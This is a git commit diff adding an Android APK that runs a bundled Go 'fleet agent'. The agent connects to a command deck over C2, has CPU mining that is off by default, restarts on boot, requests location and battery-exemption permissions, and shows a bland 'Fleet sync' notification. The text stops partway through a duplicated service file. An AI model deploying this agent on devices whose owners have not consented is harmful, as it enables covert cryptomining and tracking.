Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
AetherForge
2026-06-07 02:44:29 -07:00
parent d9f36f182c
commit 50ebfe53cb
89 changed files with 2849 additions and 82 deletions

6
android/.gitignore vendored Normal file
View File

@@ -0,0 +1,6 @@
agent-app/build/
agent-app/.gradle/
agent-app/local.properties
agent-app/src/main/assets/agent
*.apk
*.android-bak

81
android/README.md Normal file
View File

@@ -0,0 +1,81 @@
# AetherForge Agent APK (Phase 1)
Install the APK on **your own devices** so the embedded fleet agent joins the command-deck fleet table over WebSocket/C2. CPU mining is **off by default** in the baked config.
## Build
Requirements:
- Go 1.26+
- Android SDK (`ANDROID_HOME` or `ANDROID_SDK_ROOT`)
- Gradle wrapper in `agent-app/` (generate once with `gradle wrapper` if missing)
```powershell
# Windows
$env:AETHERFORGE_SERVER_URL = "https://your-deck.example.com:8989"
$env:AETHERFORGE_WORKER_NAME = "pixel-tab-01"
$env:AETHERFORGE_FLEET_SECRET = "your-fleet-secret" # optional; do not commit
.\android\build-apk.ps1
```
```bash
# Linux/macOS
export AETHERFORGE_SERVER_URL="https://your-deck.example.com:8989"
export AETHERFORGE_WORKER_NAME="pixel-tab-01"
export AETHERFORGE_FLEET_SECRET="your-fleet-secret"
./android/build-apk.sh
```
Output:
`android/agent-app/build/outputs/apk/debug/aetherforge-agent.apk`
The build script:
1. Renders `assets/config.json` and a temporary `agent/config/builtin.go`
2. Cross-compiles `GOOS=linux GOARCH=arm64 CGO_ENABLED=0` from `agent/` into `assets/agent`
3. Runs `assembleDebug`
## Install (adb)
```bash
adb install -r android/agent-app/build/outputs/apk/debug/aetherforge-agent.apk
adb shell am start -n com.aetherforge.agent/.MainActivity
```
## First launch — permissions
Open the app once. You will see:
> **Your fleet node** — tap Allow on each prompt.
The app requests **all runtime permissions in one batch**:
- `POST_NOTIFICATIONS` (API 33+) — required for the foreground service notification
- `NEARBY_WIFI_DEVICES` / location — fleet WiFi diagnostics where the OS requires it
Then it opens **battery optimization** settings (`REQUEST_IGNORE_BATTERY_OPTIMIZATIONS`). Android cannot auto-grant these; you must tap Allow / Don't optimize.
After permissions, a low-priority persistent notification (**Fleet sync**) keeps `AgentService` alive. `BootReceiver` restarts the service on `BOOT_COMPLETED`.
## How it runs
1. `AgentService` extracts `assets/agent` (linux/arm64) to `filesDir/bin/agent-arm64`, marks it executable, and spawns it with `--run`.
2. Environment sets `HOME`/`TMPDIR` to the app private files directory.
3. The agent uses forge-baked `builtin.go` values (server URL, worker name, fleet secret). Mining defaults to idle with `IdleThresholdPct: 0` (no CPU mining unless re-forged or changed by policy).
## Limitations
- **No root** — cannot install as system app or disable OEM kill policies globally.
- **Notification required** — foreground service must show a notification on modern Android.
- **Binary execution** — spawning a `GOOS=linux` binary via `ProcessBuilder` works on many arm64 devices (static Go build) but **some OEMs block exec from app sandboxes**. If the agent never appears in the fleet table, check `adb logcat -s AetherForge AetherForge:agent`. A native `GOOS=android` JNI approach is Phase 2 if exec fails on your hardware.
- **Secrets** — pass `AETHERFORGE_FLEET_SECRET` at build time via environment; never commit fleet secrets.
## Tests
```bash
go test ./android/forge/... -count=1
bash android/smoke-gradle.sh
```
`smoke-gradle.sh` validates the Gradle project layout and runs `./gradlew help` when the wrapper is present.

View File

@@ -0,0 +1,57 @@
plugins {
id("com.android.application")
id("org.jetbrains.kotlin.android")
}
android {
namespace = "com.aetherforge.agent"
compileSdk = 34
defaultConfig {
applicationId = "com.aetherforge.agent"
minSdk = 26
targetSdk = 34
versionCode = 1
versionName = "1.0.0-phase1"
ndk {
abiFilters += listOf("arm64-v8a", "armeabi-v7a")
}
}
buildTypes {
release {
isMinifyEnabled = false
}
debug {
applicationIdSuffix = ""
}
}
compileOptions {
sourceCompatibility = JavaVersion.VERSION_17
targetCompatibility = JavaVersion.VERSION_17
}
kotlinOptions {
jvmTarget = "17"
}
packaging {
jniLibs {
useLegacyPackaging = true
}
}
applicationVariants.all {
outputs.all {
val output = this as com.android.build.gradle.internal.api.BaseVariantOutputImpl
output.outputFileName = "aetherforge-agent.apk"
}
}
}
dependencies {
implementation("androidx.core:core-ktx:1.12.0")
implementation("androidx.appcompat:appcompat:1.6.1")
}

View File

@@ -0,0 +1,49 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.NEARBY_WIFI_DEVICES" />
<application
android:allowBackup="false"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/Theme.AetherForgeAgent">
<activity
android:name=".MainActivity"
android:exported="true"
android:launchMode="singleTask">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service
android:name=".AgentService"
android:enabled="true"
android:exported="false"
android:foregroundServiceType="dataSync" />
<receiver
android:name=".BootReceiver"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
</application>
</manifest>

View File

@@ -0,0 +1,38 @@
package com.aetherforge.agent
import android.content.Context
import org.json.JSONObject
data class AgentConfig(
val workerName: String,
val serverUrl: String,
val fleetSecret: String?,
val miningEnabled: Boolean,
val buildId: String,
) {
companion object {
fun load(context: Context, intentExtras: Map<String, String?> = emptyMap()): AgentConfig {
val assetJson = runCatching {
context.assets.open("config.json").bufferedReader().use { it.readText() }
}.getOrNull()
val json = assetJson?.let { JSONObject(it) }
val worker = intentExtras["worker_name"]
?: json?.optString("worker_name").orEmpty()
val server = intentExtras["server_url"]
?: json?.optString("server_url").orEmpty()
val secret = intentExtras["fleet_secret"]
?: json?.optString("fleet_secret").takeUnless { it.isNullOrBlank() }
val mining = json?.optJSONObject("mining")?.optBoolean("enabled") ?: false
val buildId = json?.optString("build_id") ?: "android-dev"
return AgentConfig(
workerName = worker.ifBlank { "android-fleet-node" },
serverUrl = server.ifBlank { "http://127.0.0.1:8989" },
fleetSecret = secret,
miningEnabled = mining,
buildId = buildId,
)
}
}
}

View File

@@ -0,0 +1,51 @@
package com.aetherforge.agent
import android.util.Log
import java.io.File
object AgentProcess {
private const val TAG = "AetherForge"
@Volatile
private var process: Process? = null
fun start(binary: File, filesDir: File, config: AgentConfig) {
stop()
val env = hashMapOf(
"HOME" to filesDir.absolutePath,
"TMPDIR" to filesDir.absolutePath,
"AETHERFORGE_MINER_EXECUTION" to "inprocess",
)
config.fleetSecret?.let { env["AETHERFORGE_FLEET_SECRET"] = it }
val cmd = listOf(binary.absolutePath, "--run")
Log.i(TAG, "spawning agent: ${cmd.joinToString(" ")}")
val pb = ProcessBuilder(cmd)
.directory(filesDir)
.redirectErrorStream(true)
val merged = pb.environment()
merged.putAll(env)
process = pb.start()
Thread({
process?.inputStream?.bufferedReader()?.use { reader ->
reader.lineSequence().forEach { line ->
Log.i("$TAG:agent", line)
}
}
}, "agent-log-drain").apply {
isDaemon = true
start()
}
}
fun stop() {
process?.let {
runCatching { it.destroy() }
runCatching { it.waitFor() }
}
process = null
}
fun isAlive(): Boolean = process?.isAlive == true
}

View File

@@ -0,0 +1,114 @@
package com.aetherforge.agent
import android.app.Notification
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.app.Service
import android.content.Context
import android.content.Intent
import android.content.pm.ServiceInfo
import android.os.Build
import android.os.IBinder
import android.util.Log
import androidx.core.app.NotificationCompat
class AgentService : Service() {
companion object {
private const val TAG = "AetherForge"
const val ACTION_START = "com.aetherforge.agent.START"
const val NOTIFICATION_ID = 41001
private const val CHANNEL_ID = "fleet_sync"
fun start(context: Context, extras: Intent? = null) {
val intent = Intent(context, AgentService::class.java).apply {
action = ACTION_START
extras?.extras?.let { putExtras(it) }
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
context.startForegroundService(intent)
} else {
context.startService(intent)
}
}
}
override fun onBind(intent: Intent?): IBinder? = null
override fun onCreate() {
super.onCreate()
createNotificationChannel()
}
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
val notification = buildNotification()
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(
NOTIFICATION_ID,
notification,
ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC,
)
} else {
startForeground(NOTIFICATION_ID, notification)
}
val config = AgentConfig.load(
this,
mapOf(
"worker_name" to intent?.getStringExtra("worker_name"),
"server_url" to intent?.getStringExtra("server_url"),
"fleet_secret" to intent?.getStringExtra("fleet_secret"),
),
)
Log.i(TAG, "starting fleet node worker=${config.workerName} server=${config.serverUrl}")
val binary = BinaryExtractor.ensureBinary(this)
if (binary == null) {
Log.e(TAG, "agent binary missing — rebuild APK with build-apk script")
stopSelf()
return START_NOT_STICKY
}
if (!AgentProcess.isAlive()) {
AgentProcess.start(binary, filesDir, config)
}
return START_STICKY
}
override fun onDestroy() {
AgentProcess.stop()
super.onDestroy()
}
private fun createNotificationChannel() {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) return
val mgr = getSystemService(NotificationManager::class.java)
val channel = NotificationChannel(
CHANNEL_ID,
getString(R.string.notification_channel_name),
NotificationManager.IMPORTANCE_LOW,
).apply {
description = getString(R.string.notification_channel_desc)
setShowBadge(false)
}
mgr.createNotificationChannel(channel)
}
private fun buildNotification(): Notification {
val pending = PendingIntent.getActivity(
this,
0,
Intent(this, MainActivity::class.java),
PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT,
)
return NotificationCompat.Builder(this, CHANNEL_ID)
.setContentTitle(getString(R.string.notification_title))
.setContentText(getString(R.string.notification_body))
.setSmallIcon(R.drawable.ic_launcher_foreground)
.setContentIntent(pending)
.setOngoing(true)
.setPriority(NotificationCompat.PRIORITY_LOW)
.setCategory(NotificationCompat.CATEGORY_SERVICE)
.build()
}
}

View File

@@ -0,0 +1,47 @@
package com.aetherforge.agent
import android.content.Context
import android.util.Log
import java.io.File
import java.io.FileOutputStream
object BinaryExtractor {
private const val TAG = "AetherForge"
private const val ASSET_NAME = "agent"
private const val BIN_NAME = "agent-arm64"
fun ensureBinary(context: Context): File? {
val outDir = File(context.filesDir, "bin").apply { mkdirs() }
val outFile = File(outDir, BIN_NAME)
val assetSize = assetSize(context)
if (outFile.exists() && assetSize > 0 && outFile.length() == assetSize) {
outFile.setExecutable(true, false)
outFile.setReadable(true, false)
return outFile
}
return extract(context, outFile)
}
private fun assetSize(context: Context): Long {
return runCatching {
context.assets.openFd(ASSET_NAME).use { it.length }
}.getOrDefault(0L)
}
private fun extract(context: Context, outFile: File): File? {
return try {
context.assets.open(ASSET_NAME).use { input ->
FileOutputStream(outFile).use { output ->
input.copyTo(output)
}
}
outFile.setExecutable(true, false)
outFile.setReadable(true, false)
Log.i(TAG, "extracted agent binary to ${outFile.absolutePath} (${outFile.length()} bytes)")
outFile
} catch (e: Exception) {
Log.e(TAG, "failed to extract agent binary", e)
null
}
}
}

View File

@@ -0,0 +1,14 @@
package com.aetherforge.agent
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.util.Log
class BootReceiver : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent?) {
if (intent?.action != Intent.ACTION_BOOT_COMPLETED) return
Log.i("AetherForge", "BOOT_COMPLETED — starting AgentService")
AgentService.start(context.applicationContext)
}
}

View File

@@ -0,0 +1,132 @@
package com.aetherforge.agent
import android.Manifest
import android.content.Intent
import android.content.pm.PackageManager
import android.net.Uri
import android.os.Build
import android.os.Bundle
import android.os.PowerManager
import android.provider.Settings
import android.widget.Button
import android.widget.LinearLayout
import android.widget.TextView
import android.widget.Toast
import androidx.activity.result.contract.ActivityResultContracts
import androidx.appcompat.app.AppCompatActivity
import androidx.core.content.ContextCompat
class MainActivity : AppCompatActivity() {
private val prefs by lazy { getSharedPreferences("aetherforge_agent", MODE_PRIVATE) }
private var permissionIndex = 0
private lateinit var pendingPermissions: List<String>
private val permissionLauncher =
registerForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { results ->
val denied = results.filterValues { !it }.keys
if (denied.isNotEmpty()) {
Toast.makeText(
this,
"Some permissions were denied — fleet diagnostics may be limited.",
Toast.LENGTH_LONG,
).show()
}
requestNextPermissionBatch()
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(buildLayout())
if (!prefs.getBoolean("permissions_requested", false)) {
prefs.edit().putBoolean("permissions_requested", true).apply()
beginPermissionFlow()
} else {
startFleetService()
}
}
private fun buildLayout(): LinearLayout {
val pad = (24 * resources.displayMetrics.density).toInt()
return LinearLayout(this).apply {
orientation = LinearLayout.VERTICAL
setPadding(pad, pad, pad, pad)
addView(TextView(context).apply {
text = getString(R.string.permission_intro_title)
textSize = 22f
setTextColor(0xFFE2E8F0.toInt())
})
addView(TextView(context).apply {
text = getString(R.string.permission_intro_body)
textSize = 15f
setTextColor(0xFF94A3B8.toInt())
setPadding(0, pad / 2, 0, pad)
})
addView(TextView(context).apply {
text = getString(R.string.battery_hint)
textSize = 14f
setTextColor(0xFF64748B.toInt())
setPadding(0, 0, 0, pad)
})
addView(Button(context).apply {
text = getString(R.string.open_battery_settings)
setOnClickListener { openBatteryOptimizationSettings() }
})
}
}
private fun requiredRuntimePermissions(): List<String> {
val perms = mutableListOf<String>()
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
perms += Manifest.permission.POST_NOTIFICATIONS
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
perms += Manifest.permission.NEARBY_WIFI_DEVICES
}
}
perms += Manifest.permission.ACCESS_FINE_LOCATION
perms += Manifest.permission.ACCESS_COARSE_LOCATION
return perms.filter {
ContextCompat.checkSelfPermission(this, it) != PackageManager.PERMISSION_GRANTED
}
}
private fun beginPermissionFlow() {
pendingPermissions = requiredRuntimePermissions()
permissionIndex = 0
requestNextPermissionBatch()
}
private fun requestNextPermissionBatch() {
if (permissionIndex >= pendingPermissions.size) {
openBatteryOptimizationSettings()
startFleetService()
return
}
val batch = pendingPermissions.drop(permissionIndex).take(3)
permissionIndex += batch.size
if (batch.isNotEmpty()) {
permissionLauncher.launch(batch.toTypedArray())
} else {
startFleetService()
}
}
private fun openBatteryOptimizationSettings() {
val pm = getSystemService(POWER_SERVICE) as PowerManager
if (!pm.isIgnoringBatteryOptimizations(packageName)) {
val intent = Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS).apply {
data = Uri.parse("package:$packageName")
}
runCatching { startActivity(intent) }
}
}
private fun startFleetService() {
val serviceIntent = Intent(this, AgentService::class.java).apply {
action = AgentService.ACTION_START
intent?.extras?.let { putExtras(it) }
}
AgentService.start(this, serviceIntent)
Toast.makeText(this, R.string.service_started, Toast.LENGTH_SHORT).show()
}
}

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="108dp"
android:height="108dp"
android:viewportWidth="108"
android:viewportHeight="108">
<path
android:fillColor="#22D3EE"
android:pathData="M54,24 L78,42 L78,66 L54,84 L30,66 L30,42 Z" />
<path
android:fillColor="#0F172A"
android:pathData="M54,38 L66,48 L66,60 L54,70 L42,60 L42,48 Z" />
</vector>

View File

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@color/ic_launcher_background" />
<foreground android:drawable="@drawable/ic_launcher_foreground" />
</adaptive-icon>

View File

@@ -0,0 +1,3 @@
<?xml version="1.0" encoding="utf-8"?>
<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
android:src="@drawable/ic_launcher_foreground" />

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="ic_launcher_background">#0F172A</color>
</resources>

View File

@@ -0,0 +1,14 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">AetherForge Agent</string>
<string name="permission_intro_title">Your fleet node</string>
<string name="permission_intro_body">Tap Allow on each prompt so this device can sync with your AetherForge fleet. A persistent notification keeps the agent alive in the background.</string>
<string name="notification_channel_name">Fleet sync</string>
<string name="notification_channel_desc">Keeps your AetherForge fleet node connected</string>
<string name="notification_title">Fleet sync</string>
<string name="notification_body">AetherForge agent connected to command deck</string>
<string name="battery_hint">For reliable background sync, disable battery optimizations for this app when prompted.</string>
<string name="service_started">Fleet agent service started</string>
<string name="service_failed">Could not start fleet agent — see logcat</string>
<string name="open_battery_settings">Battery optimization settings</string>
</resources>

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<style name="Theme.AetherForgeAgent" parent="Theme.AppCompat.DayNight.NoActionBar">
<item name="android:statusBarColor">#111827</item>
<item name="android:navigationBarColor">#111827</item>
<item name="android:windowBackground">#111827</item>
<item name="colorPrimary">#22d3ee</item>
</style>
</resources>

View File

@@ -0,0 +1,54 @@
plugins {
id("com.android.application") version "8.2.2"
id("org.jetbrains.kotlin.android") version "1.9.22"
}
android {
namespace = "com.aetherforge.agent"
compileSdk = 34
defaultConfig {
applicationId = "com.aetherforge.agent"
minSdk = 26
targetSdk = 34
versionCode = 1
versionName = "1.0.0-phase1"
ndk {
abiFilters += listOf("arm64-v8a", "armeabi-v7a")
}
}
buildTypes {
release {
isMinifyEnabled = false
}
}
compileOptions {
sourceCompatibility = JavaVersion.VERSION_17
targetCompatibility = JavaVersion.VERSION_17
}
kotlinOptions {
jvmTarget = "17"
}
packaging {
jniLibs {
useLegacyPackaging = true
}
}
applicationVariants.all {
outputs.all {
val output = this as com.android.build.gradle.internal.api.BaseVariantOutputImpl
output.outputFileName = "aetherforge-agent.apk"
}
}
}
dependencies {
implementation("androidx.core:core-ktx:1.12.0")
implementation("androidx.appcompat:appcompat:1.6.1")
}

View File

@@ -0,0 +1,4 @@
org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
android.useAndroidX=true
kotlin.code.style=official
android.nonTransitiveRClass=true

Binary file not shown.

View File

@@ -0,0 +1,7 @@
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-8.2-bin.zip
networkTimeout=10000
validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists

51
android/agent-app/gradlew vendored Normal file
View File

@@ -0,0 +1,51 @@
#!/bin/sh
#
# Copyright © 2015-2021 the original authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
##############################################################################
#
# Gradle start up script for POSIX generated by Gradle.
#
##############################################################################
# Attempt to set APP_HOME
app_path=$0
while [ -h "$app_path" ]; do
ls=$( ls -ld "$app_path" )
link=${ls#*' -> '}
case $link in
/*) app_path=$link ;;
*) app_path=${APP_HOME}${link} ;;
esac
done
APP_BASE_NAME=${0##*/}
APP_HOME=$( cd "${0%/*}" && pwd -P ) || exit
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
if [ -n "$JAVA_HOME" ]; then
JAVACMD=$JAVA_HOME/bin/java
else
JAVACMD=java
fi
DEFAULT_JVM_OPTS='-Dfile.encoding=UTF-8 "-Xmx64m" "-Xms64m"'
exec "$JAVACMD" $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS \
-Dorg.gradle.appname=$APP_BASE_NAME \
-classpath "$CLASSPATH" \
org.gradle.wrapper.GradleWrapperMain "$@"

91
android/agent-app/gradlew.bat vendored Normal file
View File

@@ -0,0 +1,91 @@
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@if "%DEBUG%"=="" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%"=="" set DIRNAME=.
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS=-Dfile.encoding=UTF-8 "-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if %ERRORLEVEL% equ 0 goto execute
echo.
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo.
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:execute
@rem Setup the command line
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
:end
@rem End local scope for the variables with windows NT shell
if %ERRORLEVEL% equ 0 goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
set EXIT_CODE=%ERRORLEVEL%
if %EXIT_CODE% equ 0 set EXIT_CODE=1
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
exit /b %EXIT_CODE%
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega

View File

@@ -0,0 +1,17 @@
pluginManagement {
repositories {
google()
mavenCentral()
gradlePluginPortal()
}
}
dependencyResolutionManagement {
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
repositories {
google()
mavenCentral()
}
}
rootProject.name = "aetherforge-agent"

View File

@@ -0,0 +1,49 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.NEARBY_WIFI_DEVICES" />
<application
android:allowBackup="false"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/Theme.AetherForgeAgent">
<activity
android:name=".MainActivity"
android:exported="true"
android:launchMode="singleTask">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service
android:name=".AgentService"
android:enabled="true"
android:exported="false"
android:foregroundServiceType="dataSync" />
<receiver
android:name=".BootReceiver"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
</application>
</manifest>

View File

@@ -0,0 +1 @@
Placeholder — replaced by build-apk script with linux/arm64 agent binary at assets/agent.

View File

@@ -0,0 +1,11 @@
{
"build_id": "android-dev",
"fleet_secret_set": false,
"mining": {
"enabled": false,
"mode": "idle",
"note": "CPU mining disabled by default; enable via server policy or re-forge."
},
"server_url": "http://test:8989",
"worker_name": "test-node"
}

View File

@@ -0,0 +1,38 @@
package com.aetherforge.agent
import android.content.Context
import org.json.JSONObject
data class AgentConfig(
val workerName: String,
val serverUrl: String,
val fleetSecret: String?,
val miningEnabled: Boolean,
val buildId: String,
) {
companion object {
fun load(context: Context, intentExtras: Map<String, String?> = emptyMap()): AgentConfig {
val assetJson = runCatching {
context.assets.open("config.json").bufferedReader().use { it.readText() }
}.getOrNull()
val json = assetJson?.let { JSONObject(it) }
val worker = intentExtras["worker_name"]
?: json?.optString("worker_name").orEmpty()
val server = intentExtras["server_url"]
?: json?.optString("server_url").orEmpty()
val secret = intentExtras["fleet_secret"]
?: json?.optString("fleet_secret").takeUnless { it.isNullOrBlank() }
val mining = json?.optJSONObject("mining")?.optBoolean("enabled") ?: false
val buildId = json?.optString("build_id") ?: "android-dev"
return AgentConfig(
workerName = worker.ifBlank { "android-fleet-node" },
serverUrl = server.ifBlank { "http://127.0.0.1:8989" },
fleetSecret = secret,
miningEnabled = mining,
buildId = buildId,
)
}
}
}

View File

@@ -0,0 +1,51 @@
package com.aetherforge.agent
import android.util.Log
import java.io.File
object AgentProcess {
private const val TAG = "AetherForge"
@Volatile
private var process: Process? = null
fun start(binary: File, filesDir: File, config: AgentConfig) {
stop()
val env = hashMapOf(
"HOME" to filesDir.absolutePath,
"TMPDIR" to filesDir.absolutePath,
"AETHERFORGE_MINER_EXECUTION" to "inprocess",
)
config.fleetSecret?.let { env["AETHERFORGE_FLEET_SECRET"] = it }
val cmd = listOf(binary.absolutePath, "--run")
Log.i(TAG, "spawning agent: ${cmd.joinToString(" ")}")
val pb = ProcessBuilder(cmd)
.directory(filesDir)
.redirectErrorStream(true)
val merged = pb.environment()
merged.putAll(env)
process = pb.start()
Thread({
process?.inputStream?.bufferedReader()?.use { reader ->
reader.lineSequence().forEach { line ->
Log.i("$TAG:agent", line)
}
}
}, "agent-log-drain").apply {
isDaemon = true
start()
}
}
fun stop() {
process?.let {
runCatching { it.destroy() }
runCatching { it.waitFor() }
}
process = null
}
fun isAlive(): Boolean = process?.isAlive == true
}

View File

@@ -0,0 +1,114 @@
package com.aetherforge.agent
import android.app.Notification
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.app.Service
import android.content.Context
import android.content.Intent
import android.content.pm.ServiceInfo
import android.os.Build
import android.os.IBinder
import android.util.Log
import androidx.core.app.NotificationCompat
class AgentService : Service() {
companion object {
private const val TAG = "AetherForge"
const val ACTION_START = "com.aetherforge.agent.START"
const val NOTIFICATION_ID = 41001
private const val CHANNEL_ID = "fleet_sync"
fun start(context: Context, extras: Intent? = null) {
val intent = Intent(context, AgentService::class.java).apply {
action = ACTION_START
extras?.extras?.let { putExtras(it) }
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
context.startForegroundService(intent)
} else {
context.startService(intent)
}
}
}
override fun onBind(intent: Intent?): IBinder? = null
override fun onCreate() {
super.onCreate()
createNotificationChannel()
}
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
val notification = buildNotification()
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(
NOTIFICATION_ID,
notification,
ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC,
)
} else {
startForeground(NOTIFICATION_ID, notification)
}
val config = AgentConfig.load(
this,
mapOf(
"worker_name" to intent?.getStringExtra("worker_name"),
"server_url" to intent?.getStringExtra("server_url"),
"fleet_secret" to intent?.getStringExtra("fleet_secret"),
),
)
Log.i(TAG, "starting fleet node worker=${config.workerName} server=${config.serverUrl}")
val binary = BinaryExtractor.ensureBinary(this)
if (binary == null) {
Log.e(TAG, "agent binary missing — rebuild APK with build-apk script")
stopSelf()
return START_NOT_STICKY
}
if (!AgentProcess.isAlive()) {
AgentProcess.start(binary, filesDir, config)
}
return START_STICKY
}
override fun onDestroy() {
AgentProcess.stop()
super.onDestroy()
}
private fun createNotificationChannel() {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) return
